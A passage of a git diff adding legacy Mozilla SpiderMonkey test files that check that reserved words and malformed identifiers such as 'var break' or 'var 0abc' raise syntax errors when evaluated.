+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "enum = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-022.js b/js/src/tests/ecma_2/Exceptions/lexical-022.js
new file mode 100644
index 000000000..d8671a453
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-022.js
@@ -0,0 +1,54 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-022
+ Corresponds To 7.4.3-15-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-022.js";
+var VERSION = "ECMA_1";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("import = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "import = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-023.js b/js/src/tests/ecma_2/Exceptions/lexical-023.js
new file mode 100644
index 000000000..d5df7ce7d
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-023.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-023.js
+ Corresponds To: 7.4.3-16-n.js
+ ECMA Section: 7.4.3
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-023.js";
+var VERSION = "ECMA_1";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("try = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "try = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-024.js b/js/src/tests/ecma_2/Exceptions/lexical-024.js
new file mode 100644
index 000000000..be1c3a7b9
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-024.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-024
+ Corresponds To: 7.4.2-1-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-024";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var break;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var break" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-025.js b/js/src/tests/ecma_2/Exceptions/lexical-025.js
new file mode 100644
index 000000000..0dbb3ac63
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-025.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-025.js
+ Corresponds To 7.4.2-2-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-025";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var for;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var for" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-026.js b/js/src/tests/ecma_2/Exceptions/lexical-026.js
new file mode 100644
index 000000000..2711de089
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-026.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-026.js
+ Corresponds To: 7.4.2-3-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-026";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var new;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var new" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-027.js b/js/src/tests/ecma_2/Exceptions/lexical-027.js
new file mode 100644
index 000000000..0d8ddf079
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-027.js
@@ -0,0 +1,61 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-027.js
+ Corresponds To: 7.4.2-4-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ var
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-027";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var var;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var var" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-028.js b/js/src/tests/ecma_2/Exceptions/lexical-028.js
new file mode 100644
index 000000000..2b75204c7
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-028.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-028.js
+ Corresponds To: 7.4.2-5-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-028";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var continue=true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var continue=true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-029.js b/js/src/tests/ecma_2/Exceptions/lexical-029.js
new file mode 100644
index 000000000..f559b5d05
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-029.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-029.js
+ Corresponds To: 7.4.2-6.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-029";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var function = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var function = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-030.js b/js/src/tests/ecma_2/Exceptions/lexical-030.js
new file mode 100644
index 000000000..f5fc09620
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-030.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-030.js
+ Corresponds To: 7.4.2-7-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-030";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var return = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var return = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-031.js b/js/src/tests/ecma_2/Exceptions/lexical-031.js
new file mode 100644
index 000000000..53f0c399c
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-031.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-031.js
+ Corresponds To: 7.4.2-8-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-031";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var return;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var return" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-032.js b/js/src/tests/ecma_2/Exceptions/lexical-032.js
new file mode 100644
index 000000000..a4196950b
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-032.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-032.js
+ Corresponds To: 7.4.2-9-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-032";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("delete = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "delete = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-033.js b/js/src/tests/ecma_2/Exceptions/lexical-033.js
new file mode 100644
index 000000000..f36daaff8
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-033.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-033.js
+ Corresponds To: 7.4.2-10.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-033";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("if = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "if = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-034.js b/js/src/tests/ecma_2/Exceptions/lexical-034.js
new file mode 100644
index 000000000..b160e3d03
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-034.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-11-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-034";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("this = true");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "this = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-035.js b/js/src/tests/ecma_2/Exceptions/lexical-035.js
new file mode 100644
index 000000000..c061c60ab
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-035.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-035.js
+ Correpsonds To: 7.4.2-12-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-035";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var while");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var while" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-036.js b/js/src/tests/ecma_2/Exceptions/lexical-036.js
new file mode 100644
index 000000000..6b0c3e9ed
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-036.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-036.js
+ Corresponds To: 7.4.2-13-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-036";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("else = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "else = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-037.js b/js/src/tests/ecma_2/Exceptions/lexical-037.js
new file mode 100644
index 000000000..d42c13170
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-037.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-037.js
+ Corresponds To: 7.4.2-14-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-028";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var in;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var in" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-038.js b/js/src/tests/ecma_2/Exceptions/lexical-038.js
new file mode 100644
index 000000000..abcb85790
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-038.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-038.js
+ Corresponds To: 7.4.2-15-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-038";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("typeof = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "typeof = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-039.js b/js/src/tests/ecma_2/Exceptions/lexical-039.js
new file mode 100644
index 000000000..01e4407b3
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-039.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-039
+ Corresponds To: 7.5-2-n.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "lexical-039";
+var VERSION = "JS1_4";
+var TITLE = "Identifiers";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var 0abc;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var 0abc" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-040.js b/js/src/tests/ecma_2/Exceptions/lexical-040.js
new file mode 100644
index 000000000..346345579
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-040.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-040.js
+ Corresponds To: 7.5-2.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "lexical-040";
+var VERSION = "JS1_4";
+var TITLE = "Identifiers";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var 1abc;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var 1abc" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-041.js b/js/src/tests/ecma_2/Exceptions/lexical-041.js
new file mode 100644
index 000000000..9687c7adc
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-041.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-041.js
+ Corresponds To: 7.5-8-n.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "lexical-041";
+var VERSION = "ECMA_1";
+var TITLE = "Identifiers";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var @abc;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var @abc" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-042.js b/js/src/tests/ecma_2/Exceptions/lexical-042.js
new file mode 100644
index 000000000..0defe9708
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-042.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-042.js
